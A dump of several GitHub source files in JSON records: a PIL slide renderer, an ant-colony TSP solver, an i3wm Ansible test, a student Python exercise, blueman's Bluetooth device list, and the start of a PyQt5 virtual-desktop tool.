Title is always in the center of the slide horizontally. Thus we do not need to adjust the horizontal margin.\n However, we need to be able to adjust the vertical margin.\n Vertically, the available space to draw text is height of the slide MINUS the text height.\n '''\n font = ImageFont.truetype(FONT_PATH, TITLE_FONT_SIZE)\n\n draw = ImageDraw.Draw(self.__slide)\n text_width, text_height = draw.textsize(text, font=font)\n text_offset_x = int((self.__slide.width / 2) - (text_width / 2))\n available_slide_height = self.__slide.height - text_height\n text_offset_y = int(TITLE_AUTO_MARGIN_Y * available_slide_height)\n\n color = convert_hex_color_code_to_rgb(TITLE_FONT_COLOR)\n draw.text((text_offset_x, text_offset_y), text, color, font=font)\n\n \n def add_image_from_matplotlib_figure(self, matplotlib_figure):\n '''\n Image is always in the center of the slide horizontally as well as vertically.\n '''\n image = convert_matplotlib_figure_to_PIL_image(matplotlib_figure)\n image_offset_x = int((self.__slide.width / 2) - (image.width / 2))\n image_offset_y = int((self.__slide.height / 2) - (image.height / 2))\n self.__slide.paste(image, (image_offset_x, image_offset_y))\n\n\n def add_image_from_file(self, path):\n '''\n Image is always in the center of the slide horizontally as well as vertically.\n '''\n image = Image.open(path, 'r')\n image_offset_x = int((self.__slide.width / 2) - (image.width / 2))\n image_offset_y = int((self.__slide.height / 2) - (image.height / 2))\n self.__slide.paste(image, (image_offset_x, image_offset_y))\n\n \n def add_note(self, text=('EXAMPLE_TEXT_LEFT', 'EXAMPLE_TEXT_RIGHT')):\n '''\n Notes are organized into two parts: LEFT and RIGHT. Each part has a text and a box.\n Below is the order of the element we are going to draw:\n Left box -> Left text -> Right box -> Right text\n\n A. Drawing the text\n 1. Split the slide width into two\n 2. Horizontally, the available space to draw text is half of the slide width MINUS the text width.\n By this mechanism, having 0% margin will put the text in the most outer part of the slide.\n In contrast, having 100% margin will put the text in the most inner part of the slide.\n 3. We apply this mechanism to draw the left text as well as the right text.\n\n B. Drawing the box\n 1. Box is drawn to contain the text in its center. However, the box width is limited to as wide as the slide width.\n Thus, if the margin of the text is too small, it will fail to contain the text in its center.\n '''\n\n font = ImageFont.truetype(FONT_PATH, NOTES_FONT_SIZE)\n draw = ImageDraw.Draw(self.__slide)\n\n half_slide_width = int(self.__slide.width / 2)\n\n '''\n Drawing Left Box and Left text\n '''\n text_width, text_height = draw.textsize(text[0], font=font)\n available_left_slide_width = half_slide_width - text_width\n text_offset_x = int(NOTES_AUTO_MARGIN_X * available_left_slide_width)\n available_slide_height = self.__slide.height - text_height\n text_offset_y = int(NOTES_AUTO_MARGIN_Y * available_slide_height)\n\n box_offset_x0 = text_offset_x - (half_slide_width - text_offset_x - text_width)\n if box_offset_x0 < 0:\n box_offset_x0 = 0\n box_offset_y0 = text_offset_y - 10\n box_offset_x1 = half_slide_width\n box_offset_y1 = text_offset_y + text_height + 10\n box_shape = [(box_offset_x0, box_offset_y0), (box_offset_x1, box_offset_y1)]\n\n draw.rectangle(box_shape, fill=NOTES_BOX_FILL_COLOR, outline=NOTES_BOX_OUTLINE_COLOR)\n color = convert_hex_color_code_to_rgb(NOTES_FONT_COLOR)\n draw.text((text_offset_x, text_offset_y), text[0], color, font=font)\n\n '''\n Drawing Right Box and Right text\n '''\n text_width, text_height = draw.textsize(text[1], font=font)\n available_right_slide_width = half_slide_width - text_width\n text_offset_x = half_slide_width + available_right_slide_width - int(NOTES_AUTO_MARGIN_X * available_right_slide_width)\n available_slide_height = self.__slide.height - text_height\n text_offset_y = int(NOTES_AUTO_MARGIN_Y * available_slide_height)\n\n box_offset_x0 = half_slide_width\n box_offset_y0 = text_offset_y - 10\n box_offset_x1 = text_offset_x + text_width + (text_offset_x - half_slide_width)\n if box_offset_x1 > self.__slide.width:\n box_offset_x1 = self.__slide.width\n box_offset_y1 = text_offset_y + text_height + 10\n box_shape = [(box_offset_x0, box_offset_y0), (box_offset_x1, box_offset_y1)]\n\n draw.rectangle(box_shape, fill=NOTES_BOX_FILL_COLOR, outline=NOTES_BOX_OUTLINE_COLOR)\n color = convert_hex_color_code_to_rgb(NOTES_FONT_COLOR)\n draw.text((text_offset_x, text_offset_y), text[1], color, font=font)\n\n\n def get_slide(self):\n return self.__slide\n\n\n def save_as_file(self, path):\n self.__slide.save(path)\n","repo_name":"ysyesa/pdf-images-compiler","sub_path":"models/slide.py","file_name":"slide.py","file_ext":"py","file_size_in_byte":5623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2810430226","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 10 14:15:31 2019\n\n@author: akshay.nadgire\n\"\"\"\n\nimport numpy as np\nimport random\n \n#%%\ndef Antpath(phcl, start, C, A):\n travel = np.zeros((A,C+1), dtype=int)\n q0 = 0.6\n \n for i in range(A):\n travel[i,0] = start[i]\n travel[i,-1] = start[i]\n tmpPC = np.copy(phcl)\n ss = start[i]\n tmpPC[:,ss] = 0\n for j in range(1,C):\n q = random.random()\n if q <= q0: \n nxt = np.argmax(tmpPC[ss,:])\n travel[i,j] = nxt\n tmpPC[:,nxt] = 0\n else:\n prob = list(tmpPC[ss,:] / sum(tmpPC[ss,:]))\n nxt = np.random.choice(range(C), p=prob)\n travel[i,j] = nxt\n tmpPC[:,nxt] = 0\n ss = nxt\n return travel\n\n#%%\ndef DistCal(dist, travel, C, A):\n totaldist = np.zeros((A))\n for i in range(A):\n tmpD = 0\n for j in range(C):\n tmpD = tmpD + dist[travel[i,j], travel[i,j+1]]\n totaldist[i] = tmpD\n return totaldist\n\n#%%\ndef TSP(dist, phero, C, A):\n \n phcl = phero / dist\n di = np.diag_indices(C)\n phcl[di] = 0\n \n start = np.random.randint(C,size=(A))\n \n travel = Antpath(phcl, start, C, A)\n \n totaldist = DistCal(dist, travel, C, A) \n \n #minDistInx = np.where(min(totaldist) == totaldist)[0]\n mDinx = np.argmin(totaldist)\n \n phero = phero * 0.8\n \n for i in range(C):\n phero[travel[mDinx, i], travel[mDinx, i+1]] = phero[travel[mDinx, i], travel[mDinx, i+1]] * 1.2/0.8\n \n return phero\n\n#%%\ncity = 6\nant = 6\n\ndi = np.diag_indices(city)\n\npheromene = np.random.random(size=(city,city))\npheromene = (pheromene + pheromene.T) / 2\npheromene[di] = 0\n\ndistance = np.random.randint(10,100,size=(city,city))\ndistance = (distance + distance.T) / 2\ndistance[di] = 0\n#%%\n\nfor l in range(100):\n pheromene = TSP(distance, pheromene, city, ant)\n \nFinalTravel = Antpath(pheromene, [0, 1, 2, 3, 0, 1], city, ant)\n\nFinalDistance = DistCal(distance, FinalTravel, city, ant)\n\nShortestPath = FinalTravel[np.argmin(FinalDistance)]\n\nprint(ShortestPath)\nprint(min(FinalDistance))","repo_name":"Akshayextreme/Optimzation_M_Tech","sub_path":"AntColony/TSP_General.py","file_name":"TSP_General.py","file_ext":"py","file_size_in_byte":2223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"47528920357","text":"import os\n\nimport testinfra.utils.ansible_runner\n\ntestinfra_hosts = testinfra.utils.ansible_runner.AnsibleRunner(\n os.environ['MOLECULE_INVENTORY_FILE']).get_hosts('all')\n\n\ndef test_hosts_file(host):\n \"\"\"\n Ensure we have an i3 config in place.\n \"\"\"\n with host.sudo():\n host.run_expect([0], 'test -d /home/example/.config/i3')\n host.run_expect([0], 'test -L /home/example/.config/i3')\n host.run_expect([0], 'test -e /home/example/.config/i3/config')\n\n\ndef test_tmux_installed(host):\n ''' Checks that tmux is available for use.\n '''\n i3wm_installed = host.run(\n \"i3 --version\"\n )\n assert i3wm_installed.rc == 0\n assert 'i3 version 4' in i3wm_installed.stdout\n","repo_name":"martsa1/dotfiles","sub_path":"dotfiles/roles/i3wm/molecule/default/tests/test_default.py","file_name":"test_default.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30571399776","text":"\nfrom data_stark import lista\n\ndef stark_normalizar_datos(lista:list):\n \n if len(lista) == 0:\n print(\"error la lista esta vacia\") \n elif len(lista) != 0:\n for heroe in lista:\n contador_modoficaion = 0\n for altura in heroe[\"altura\"]:\n if type(altura) == float:\n mensaje = \"este dato ya es un float\"\n elif type(altura) != float:\n altura = float(heroe[\"altura\"])\n contador_modoficaion += 1\n\n if type(heroe[\"peso\"]) == float:\n mensaje = \"este dato ya es un float\"\n elif type(heroe[\"peso\"]) != float:\n peso = float(heroe[\"peso\"])\n contador_modoficaion += 1\n if type(heroe[\"fuerza\"]) == int:\n mensaje = \"este dato ya es un int\"\n elif type(heroe[\"fuerza\"]) != int:\n fuerza = int(heroe[\"fuerza\"])\n contador_modoficaion += 1\n print(type(altura))\n print(type(fuerza))\n print(type(peso))\n \n if contador_modoficaion > 0:\n print(\"los datos fueron normalizados\") \n \n \n\n\n# def lista_vacia(lista:list):\n# return not lista\n\n\ndef obtener_nombre(diccionario:int):\n diccionario = diccionario - 1\n if diccionario >= 0 and diccionario < len(lista):\n nombre = lista[diccionario][\"nombre\"]\n nombre = f\"nombre: {nombre}\"\n print(nombre)\n else: \n print(\"ese numero de heroe no existe\")\n \n# nombre_heroe = obtener_nombre(lista,25)\n\n# print(nombre_heroe)\ndef imprimir_dato(dato:str):\n print(dato)\n\ndef stark_imprimir_nombre_heroes(lista:list):\n numero_heroe = 1\n for heroe in lista:\n heroe[\"nombre\"] = obtener_nombre(heroe,numero_heroe)\n numero_heroe += 1\n \n imprimir_dato(lista)\n\n\n \n# def obtener_nombre_y_dato(diccionario:dato:str,numero_de_heroe:int):\n# numero_de_heroe = numero_de_heroe - 1\n# if numero_de_heroe > 0 and numero_de_heroe < len(lista):\n# nombre = lista[numero_de_heroe][\"nombre\"]\n# nombre = f\"nombre: {nombre}\"\n# lista[numero_de_heroe] = {}\n# for \n\nobtener_nombre(1)","repo_name":"nahuel-gallardo/python_UTN","sub_path":"clase4.py/integrador_01parte02.py","file_name":"integrador_01parte02.py","file_ext":"py","file_size_in_byte":2277,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73533238293","text":"# coding=utf-8\nfrom datetime import datetime\nimport os\nimport logging\n\nfrom blueman.Functions import adapter_path_to_name\nfrom blueman.gui.GenericList import GenericList\nfrom blueman.Constants import ICON_PATH\nfrom _blueman import conn_info, ConnInfoReadError\nimport blueman.bluez as bluez\n\nfrom gi.repository import GObject\nfrom gi.repository import GLib\n\nimport gi\ngi.require_version(\"Gtk\", \"3.0\")\nfrom gi.repository import Gtk\n\n\nclass DeviceList(GenericList):\n __gsignals__ = {\n # @param: device TreeIter\n # note: None None is given when there ar no more rows, or when selected device is removed\n 'device-selected': (GObject.SignalFlags.RUN_LAST, None, (GObject.TYPE_PYOBJECT, GObject.TYPE_PYOBJECT,)),\n # @param: device, TreeIter, (key, value)\n 'device-property-changed': (GObject.SignalFlags.RUN_LAST, None,\n (GObject.TYPE_PYOBJECT, GObject.TYPE_PYOBJECT, GObject.TYPE_PYOBJECT,)),\n # @param: adapter, (key, value)\n 'adapter-property-changed': (GObject.SignalFlags.RUN_LAST, None,\n (GObject.TYPE_PYOBJECT, GObject.TYPE_PYOBJECT,)),\n # @param: progress (0 to 1)\n 'discovery-progress': (GObject.SignalFlags.RUN_LAST, None, (GObject.TYPE_FLOAT,)),\n\n # @param: new adapter path, None if there are no more adapters\n 'adapter-changed': (GObject.SignalFlags.RUN_LAST, None, (GObject.TYPE_PYOBJECT,)),\n\n # @param: adapter path\n 'adapter-added': (GObject.SignalFlags.RUN_LAST, None, (GObject.TYPE_PYOBJECT,)),\n 'adapter-removed': (GObject.SignalFlags.RUN_LAST, None, (GObject.TYPE_PYOBJECT,)),\n }\n\n def __del__(self):\n logging.debug(\"deleting mainlist\")\n super().__del__()\n\n def __init__(self, adapter_name=None, tabledata=None, **kwargs):\n if not tabledata:\n tabledata = []\n\n # cache for fast lookup in the list\n self.path_to_row = {}\n\n self.monitored_devices = []\n\n self.manager = bluez.Manager()\n self.manager.connect_signal('adapter-removed', self.__on_manager_signal, 'adapter-removed')\n self.manager.connect_signal('adapter-added', self.__on_manager_signal, 'adapter-added')\n self.manager.connect_signal('device-created', self.__on_manager_signal, 'device-created')\n self.manager.connect_signal('device-removed', self.__on_manager_signal, 'device-removed')\n\n self.any_device = bluez.AnyDevice()\n self.any_device.connect_signal(\"property-changed\", self._on_device_property_changed)\n\n self.__discovery_time = 0\n self.__adapter_path = None\n self.Adapter = None\n self.discovering = False\n\n data = tabledata + [\n {\"id\": \"device\", \"type\": object},\n {\"id\": \"dbus_path\", \"type\": str},\n {\"id\": \"timestamp\", \"type\": float}\n ]\n\n super().__init__(data, **kwargs)\n self.set_name(\"DeviceList\")\n\n self.set_adapter(adapter_name)\n self._any_adapter = bluez.AnyAdapter()\n self._any_adapter.connect_signal(\"property-changed\", self._on_property_changed)\n\n self.selection.connect('changed', self.on_selection_changed)\n\n self.icon_theme = Gtk.IconTheme.get_default()\n self.icon_theme.prepend_search_path(ICON_PATH)\n # handle icon theme changes\n self.icon_theme.connect(\"changed\", self.on_icon_theme_changed)\n\n def destroy(self):\n self.any_device.disconnect_by_func(self._on_device_property_changed)\n self._any_adapter.disconnect_by_func(self._on_property_changed)\n self.selection.disconnect_by_func(self.on_selection_changed)\n self.manager.disconnect_by_func(self.__on_manager_signal)\n super().destroy()\n\n def __on_manager_signal(self, manager, path, signal_name):\n if signal_name == 'adapter-removed':\n self.emit(\"adapter-removed\", path)\n if path == self.__adapter_path:\n self.clear()\n self.Adapter = None\n self.set_adapter()\n\n if signal_name == 'adapter-added':\n if self.Adapter is None:\n self.set_adapter(path)\n\n self.emit(\"adapter-added\", path)\n\n if signal_name == 'device-created':\n tree_iter = self.find_device_by_path(path)\n if tree_iter is None:\n dev = bluez.Device(path)\n self.device_add_event(dev)\n\n if signal_name == 'device-removed':\n tree_iter = self.find_device_by_path(path)\n if tree_iter:\n row = self.get(tree_iter, \"device\")\n dev = row[\"device\"]\n\n self.device_remove_event(dev)\n\n def on_selection_changed(self, selection):\n _model, tree_iter = selection.get_selected()\n if tree_iter:\n row = self.get(tree_iter, \"device\")\n dev = row[\"device\"]\n self.emit(\"device-selected\", dev, tree_iter)\n\n def _on_property_changed(self, _adapter, key, value, path):\n if self.Adapter.get_object_path() != path:\n return\n\n if key == \"Discovering\":\n if not value and self.discovering:\n self.stop_discovery()\n\n self.emit(\"adapter-property-changed\", self.Adapter, (key, value))\n\n def _on_device_property_changed(self, _device, key, value, path):\n tree_iter = self.find_device_by_path(path)\n\n if tree_iter is not None:\n dev = self.get(tree_iter, \"device\")[\"device\"]\n self.row_update_event(tree_iter, key, value)\n\n self.emit(\"device-property-changed\", dev, tree_iter, (key, value))\n\n if key == \"Connected\":\n if value:\n self.monitor_power_levels(dev)\n else:\n r = Gtk.TreeRowReference.new(self.get_model(), self.props.model.get_path(tree_iter))\n self.level_setup_event(r, dev, None)\n\n # Override when subclassing\n def on_icon_theme_changed(self, widget):\n logging.warning(\"Icons may not be updated with icon theme changes\")\n\n def monitor_power_levels(self, device):\n def update(row_ref, cinfo, address):\n if not row_ref.valid():\n logging.warning(\"stopping monitor (row does not exist)\")\n cinfo.deinit()\n self.monitored_devices.remove(address)\n return False\n\n if not self.get_model():\n self.monitored_devices.remove(address)\n return False\n\n if not device['Connected']:\n logging.info(\"stopping monitor (not connected)\")\n cinfo.deinit()\n self.level_setup_event(row_ref, device, None)\n self.monitored_devices.remove(address)\n return False\n else:\n self.level_setup_event(row_ref, device, cinfo)\n return True\n\n bt_address = device[\"Address\"]\n if device[\"Connected\"] and bt_address not in self.monitored_devices:\n logging.info(\"starting monitor\")\n tree_iter = self.find_device(device)\n\n hci = os.path.basename(self.Adapter.get_object_path())\n cinfo = conn_info(bt_address, hci)\n try:\n cinfo.init()\n except ConnInfoReadError:\n logging.warning(\"Failed to get power levels, probably a LE device.\")\n\n r = Gtk.TreeRowReference.new(self.get_model(), self.get_model().get_path(tree_iter))\n self.level_setup_event(r, device, cinfo)\n GLib.timeout_add(1000, update, r, cinfo, bt_address)\n self.monitored_devices.append(bt_address)\n\n # ##### virtual funcs #####\n\n # called when power levels need updating\n # if cinfo is None then info icons need to be removed\n def level_setup_event(self, tree_iter, device, cinfo):\n pass\n\n # called when row needs to be initialized\n def row_setup_event(self, tree_iter, device):\n pass\n\n # called when a property for a device changes\n def row_update_event(self, tree_iter, key, value):\n pass\n\n # called when device needs to be added to the list\n def device_add_event(self, device):\n self.add_device(device)\n\n def device_remove_event(self, device):\n logging.debug(device)\n tree_iter = self.find_device(device)\n\n if self.compare(self.selected(), tree_iter):\n self.emit(\"device-selected\", None, None)\n\n self.delete(tree_iter)\n\n #########################\n\n def set_adapter(self, adapter=None):\n self.clear()\n if self.discovering:\n self.stop_discovery()\n self.emit(\"adapter-property-changed\", self.Adapter, (\"Discovering\", False))\n\n adapter = adapter_path_to_name(adapter)\n\n logging.debug(\"Setting adapter to: %s \" % adapter)\n\n if adapter is not None:\n try:\n self.Adapter = self.manager.get_adapter(adapter)\n self.__adapter_path = self.Adapter.get_object_path()\n except bluez.errors.DBusNoSuchAdapterError:\n logging.warning('Failed to set adapter, trying first available.')\n self.set_adapter(None)\n return\n else:\n adapters = self.manager.get_adapters()\n if len(adapters) > 0:\n self.Adapter = adapters[0]\n self.__adapter_path = self.Adapter.get_object_path()\n else:\n self.Adapter = None\n self.__adapter_path = None\n\n self.emit(\"adapter-changed\", self.__adapter_path)\n\n def update_progress(self, time, totaltime):\n if not self.discovering:\n return False\n\n self.__discovery_time += time\n\n progress = self.__discovery_time / totaltime\n if progress >= 1.0:\n progress = 1.0\n if self.__discovery_time >= totaltime:\n self.stop_discovery()\n return False\n\n self.emit(\"discovery-progress\", progress)\n return True\n\n def add_device(self, device):\n # device belongs to another adapter\n if not device['Adapter'] == self.Adapter.get_object_path():\n return\n\n logging.info(\"adding new device\")\n tree_iter = self.liststore.append()\n\n self.set(tree_iter, device=device)\n self.row_setup_event(tree_iter, device)\n\n object_path = device.get_object_path()\n timestamp = datetime.strftime(datetime.now(), '%Y%m%d%H%M%S%f')\n self.set(tree_iter, dbus_path=object_path, timestamp=float(timestamp))\n\n if device[\"Connected\"]:\n self.monitor_power_levels(device)\n\n def display_known_devices(self, autoselect=False):\n self.clear()\n devices = self.manager.get_devices(self.Adapter.get_object_path())\n for device in devices:\n self.device_add_event(device)\n\n if autoselect:\n self.selection.select_path(0)\n\n def discover_devices(self, time=10.24):\n if not self.discovering:\n self.__discovery_time = 0\n if self.Adapter is not None:\n self.Adapter.start_discovery()\n self.discovering = True\n t = 1.0 / 15 * 1000\n GLib.timeout_add(int(t), self.update_progress, t / 1000, time)\n\n def is_valid_adapter(self):\n if self.Adapter is None:\n return False\n else:\n return True\n\n def get_adapter_path(self):\n if self.is_valid_adapter():\n return self.__adapter_path\n\n def stop_discovery(self):\n self.discovering = False\n if self.Adapter is not None:\n self.Adapter.stop_discovery()\n\n def get_selected_device(self):\n selected = self.selected()\n if selected is not None:\n row = self.get(selected, \"device\")\n device = row[\"device\"]\n return device\n\n def clear(self):\n if len(self.liststore):\n for i in self.liststore:\n tree_iter = i.iter\n device = self.get(tree_iter, \"device\")[\"device\"]\n self.device_remove_event(device)\n self.liststore.clear()\n self.emit(\"device-selected\", None, None)\n\n self.path_to_row = {}\n\n def find_device(self, device):\n object_path = device.get_object_path()\n try:\n row = self.path_to_row[object_path]\n if row.valid():\n path = row.get_path()\n tree_iter = self.liststore.get_iter(path)\n return tree_iter\n else:\n del self.path_to_row[object_path]\n return None\n\n except KeyError:\n return None\n\n def find_device_by_path(self, path):\n try:\n row = self.path_to_row[path]\n if row.valid():\n path = row.get_path()\n tree_iter = self.liststore.get_iter(path)\n return tree_iter\n else:\n del self.path_to_row[path]\n return None\n except KeyError:\n return None\n\n def do_cache(self, tree_iter, kwargs):\n object_path = None\n\n if \"device\" in kwargs:\n if kwargs[\"device\"]:\n object_path = kwargs['device'].get_object_path()\n\n elif \"dbus_path\" in kwargs:\n if kwargs[\"dbus_path\"]:\n object_path = kwargs['dbus_path']\n else:\n existing = self.get(tree_iter, \"dbus_path\")[\"dbus_path\"]\n if existing is not None:\n del self.path_to_row[existing]\n\n if object_path:\n logging.info(\"Caching new device %s\" % object_path)\n self.path_to_row[object_path] = Gtk.TreeRowReference.new(self.liststore,\n self.liststore.get_path(tree_iter))\n\n def append(self, **columns):\n tree_iter = GenericList.append(self, **columns)\n self.do_cache(tree_iter, columns)\n\n def prepend(self, **columns):\n tree_iter = GenericList.prepend(self, **columns)\n self.do_cache(tree_iter, columns)\n\n def set(self, tree_iter, **kwargs):\n GenericList.set(self, tree_iter, **kwargs)\n self.do_cache(tree_iter, kwargs)\n","repo_name":"Caesar-github/blueman","sub_path":"blueman/gui/DeviceList.py","file_name":"DeviceList.py","file_ext":"py","file_size_in_byte":14288,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"22175129598","text":"# -*- coding: utf-8 -*-\n\nimport ctypes\nfrom PyQt5.QtCore import Qt, QTimer, QSize, QLocale, QRect\nfrom PyQt5.QtGui import QImage, QFont, QPainter, QPen, QPixmap, QIcon\nfrom PyQt5.QtWidgets import *\nfrom VirtualDesktopAccessor import get_current_desktop_number, get_desktop_name, move_window_to_desktop\nimport sys\nfrom ShellHook import WM_SHELLHOOKMESSAGE, HSHELL_VIRTUAL_DESKTOP_CHANGED, MSG, RegisterShellHook\nimport VirtualDesktopEnhancerCore as VDE_Core\nfrom AppUtility import get_icon_from_hwnd\nfrom UWP_Utility import package_full_name_from_handle\nfrom WindowMatch import WindowInfo, WindowMatchConfig, WindowMatchMode\nfrom LP_Wrapper import lp_wrapper\n\nSHOW_MATCHED_STATE = True\nSHOW_DESKTOP_NAME = True\nSHOW_APP_NAME = True\nSHOW_PID = True\nSHOW_HWND = True\nSHOW_HEX = False\n\nclass CurrentWindowItem(QListWidgetItem):\n @classmethod\n def from_WindowInfo(self, window_info: WindowInfo):\n # self.icon_img = get_icon_from_hwnd(window_info.hwnd)\n item = CurrentWindowItem(window_info.matched, window_info.hwnd, window_info.title, window_info)\n return item\n\n def __init__(self, matched: bool, hwnd: int, title: str, window_info: WindowInfo = None):\n super().__init__()\n self.window_info = window_info\n self.icon_img = None\n self.refresh()\n \n def refresh(self):\n self.matched = self.window_info.matched\n self.pinned = self.window_info.pinned\n self.hwnd = self.window_info.hwnd\n self.title = self.window_info.title\n self.current_desktop_idx = self.window_info.current_desktop_idx\n self.app_name = self.window_info.app_name\n self.pid = self.window_info.process_id\n self.is_UWP = self.window_info.is_UWP\n\n self.icon_img = get_icon_from_hwnd(self.hwnd)\n \n icon = QIcon(QPixmap.fromImage(self.icon_img)) if self.icon_img is not None else None\n if icon is not None:\n self.setIcon(icon)\n else:\n print(f\"hwnd: {self.hwnd} 未找到图标: {self.title} - {self.app_name}\")\n app = QApplication.instance()\n app_icon = app.style().standardPixmap(app.style().SP_DesktopIcon)\n fallback_icon = QIcon()\n fallback_icon.addPixmap(app_icon, QIcon.Normal, QIcon.Off)\n self.setIcon(fallback_icon)\n self.set_current_window_text()\n\n\n def set_current_window_text(self):\n # TODO: get from config\n show_desktop_name = SHOW_DESKTOP_NAME\n show_matched_state = SHOW_MATCHED_STATE\n show_hwnd = SHOW_HWND\n show_pid = SHOW_PID\n show_hex = SHOW_HEX\n show_app_name = SHOW_APP_NAME\n\n if show_matched_state:\n if self.matched and self.pinned:\n check_mark = \"[✓] \"\n elif self.matched and not self.pinned:\n check_mark = \"[▲] \"\n elif not self.matched and self.pinned:\n check_mark = \"[▼] \"\n else:\n check_mark = \" \"\n else:\n check_mark = \" \"\n desktop_name = (f\"{self.current_desktop_idx}<{get_desktop_name(self.current_desktop_idx)}> - \" if not self.pinned else \" - \") if show_desktop_name else \"\"\n app_name_text = f\"[{self.app_name}] - \" if show_app_name else \"\"\n hwnd_text = f\" - HWND: {self.hwnd if not show_hex else hex(self.hwnd)}\" if show_hwnd else \"\"\n pid_text = f\" - PID: {self.pid if not show_hex else hex(self.pid)}\" if show_pid else \"\"\n is_UWP_text = \" - (UWP)\" if self.is_UWP else \"\"\n self.setText(f\"{check_mark}{desktop_name}{app_name_text}{self.title}{pid_text}{hwnd_text}{is_UWP_text}\")\n\n color = Qt.black\n if self.matched:\n if self.pinned:\n color = Qt.darkGreen\n else:\n color = Qt.yellow\n else:\n if self.pinned:\n color = Qt.darkRed\n\n self.setForeground(color)\n\nclass MatchedWindowItem(QListWidgetItem):\n def __init__(self, hwnd: int, title: str, icon: QImage):\n super().__init__()\n\n self.hwnd = hwnd\n self.title = title\n self.icon = icon\n\n self.set_matched_window_text()\n self.setIcon(QIcon(QPixmap.fromImage(self.icon)))\n\n def set_matched_window_text(self):\n self.setText(f\"{self.title} - {self.hwnd}\")\n self.setForeground(Qt.black)\n\nclass VirtualDesktopEnhancerWindow(QMainWindow):\n def __init__(self, core: VDE_Core.VirtualDesktopEnhancerCore):\n super().__init__()\n\n self.core: VDE_Core.VirtualDesktopEnhancerCore = core\n self.locale = QLocale()\n\n # 初始化UI\n self.init_ui()\n\n # 加载配置文件\n self.load_config()\n\n # 设置定时器\n # self.refresh_timer = QTimer(self)\n # self.refresh_timer.timeout.connect(self.refresh_all_windows)\n # self.refresh_timer.start(5000)\n\n # 注册ShellHook\n # RegisterShellHook(self.winId())\n\n # 初始化系统托盘\n self.init_system_tray()\n\n\n def init_ui(self):\n central_widget = QWidget(self)\n self.setCentralWidget(central_widget)\n\n # 主布局\n vbox_main = QVBoxLayout()\n central_widget.setLayout(vbox_main)\n\n # 语言选择\n # lang_hbox = QHBoxLayout()\n # vbox_main.addLayout(lang_hbox)\n\n # lang_label = QLabel(self.tr(\"Language:\"), self)\n # lang_hbox.addWidget(lang_label)\n\n # lang_combo = QComboBox(self)\n # lang_combo.addItems([\"English\", \"中文 - Chinese\"]) # Todo: 从 config 里读取\n # lang_hbox.addWidget(lang_combo)\n\n # 显示当前虚拟桌面\n vbox_current_desktop_label = QVBoxLayout()\n vbox_main.addLayout(vbox_current_desktop_label)\n \n self.current_vd_label = QLabel(self)\n self.current_vd_label.setText(f\"Current Virtual Desktop: {get_current_desktop_number()} {get_desktop_name(get_current_desktop_number())}\")\n vbox_current_desktop_label.addWidget(self.current_vd_label)\n\n # 窗口列表和分割器\n hbox_window_lists = QHBoxLayout()\n vbox_main.addLayout(hbox_window_lists)\n vbox_main.setStretchFactor(hbox_window_lists, 1)\n\n window_list_splitter = QSplitter()\n hbox_window_lists.addWidget(window_list_splitter)\n window_list_splitter.setStretchFactor(0, 1)\n window_list_splitter.setStretchFactor(1, 1)\n window_list_splitter.setChildrenCollapsible(False)\n\n # 所有窗口列表 \n all_window_frame = QFrame()\n all_window_frame.setMinimumWidth(720)\n all_window_frame.setMinimumHeight(960)\n window_list_splitter.addWidget(all_window_frame)\n \n all_window_vbox = QVBoxLayout()\n all_window_frame.setLayout(all_window_vbox)\n\n all_windows_list_vbox = QVBoxLayout()\n all_window_vbox.addLayout(all_windows_list_vbox)\n\n self.all_windows_label = QLabel(\"All Windows:\", self)\n all_windows_list_vbox.addWidget(self.all_windows_label)\n\n self.all_windows_list = QListWidget(self)\n self.all_windows_list.setSelectionMode(QAbstractItemView.ExtendedSelection)\n all_windows_list_vbox.addWidget(self.all_windows_list)\n\n refresh_all_windows_btn_Hbox = QHBoxLayout()\n all_window_vbox.addLayout(refresh_all_windows_btn_Hbox)\n\n self.refresh_all_windows_btn = QPushButton(\"Refresh\", self)\n self.refresh_all_windows_btn.clicked.connect(self.on_refresh_button_clicked)\n refresh_all_windows_btn_Hbox.addWidget(self.refresh_all_windows_btn)\n \n add_window_btn_Hbox = QHBoxLayout()\n all_window_vbox.addLayout(add_window_btn_Hbox) \n\n # self.add_window_btn = QPushButton(\"Add Window\", self)\n # self.add_window_btn.clicked.connect(self.on_add_window)\n # add_window_btn_Hbox.addWidget(self.add_window_btn)\n\n self.unpin_all_window_btn = QPushButton(\"Unpin All Windows\", self)\n self.unpin_all_window_btn.clicked.connect(self.on_unpin_all_windows)\n add_window_btn_Hbox.addWidget(self.unpin_all_window_btn)\n\n self.toggle_pin_window_btn = QPushButton(\"Toggle Pin\", self)\n self.toggle_pin_window_btn.clicked.connect(self.on_toggle_pin_window)\n add_window_btn_Hbox.addWidget(self.toggle_pin_window_btn)\n\n # 显示配置面板\n self.display_config_checkboxes_vbox = QVBoxLayout()\n all_window_vbox.addLayout(self.display_config_checkboxes_vbox)\n\n self.show_matched_state_checkbox = QCheckBox(\"Show Pinned State\", self)\n self.show_matched_state_checkbox.setChecked(SHOW_MATCHED_STATE)\n self.show_matched_state_checkbox.stateChanged.connect(self.on_show_matched_state_checkbox_state_changed)\n self.display_config_checkboxes_vbox.addWidget(self.show_matched_state_checkbox)\n \n self.show_desktop_name_checkbox = QCheckBox(\"Show Desktop Name\", self)\n self.show_desktop_name_checkbox.setChecked(SHOW_DESKTOP_NAME)\n self.show_desktop_name_checkbox.stateChanged.connect(self.on_show_desktop_name_checkbox_state_changed)\n self.display_config_checkboxes_vbox.addWidget(self.show_desktop_name_checkbox)\n\n self.show_app_name_checkbox = QCheckBox(\"Show App Name\", self)\n self.show_app_name_checkbox.setChecked(SHOW_APP_NAME)\n self.show_app_name_checkbox.stateChanged.connect(self.on_show_app_name_checkbox_state_changed)\n self.display_config_checkboxes_vbox.addWidget(self.show_app_name_checkbox)\n \n self.show_pid_checkbox = QCheckBox(\"Show PID\", self)\n self.show_pid_checkbox.setChecked(SHOW_PID)\n 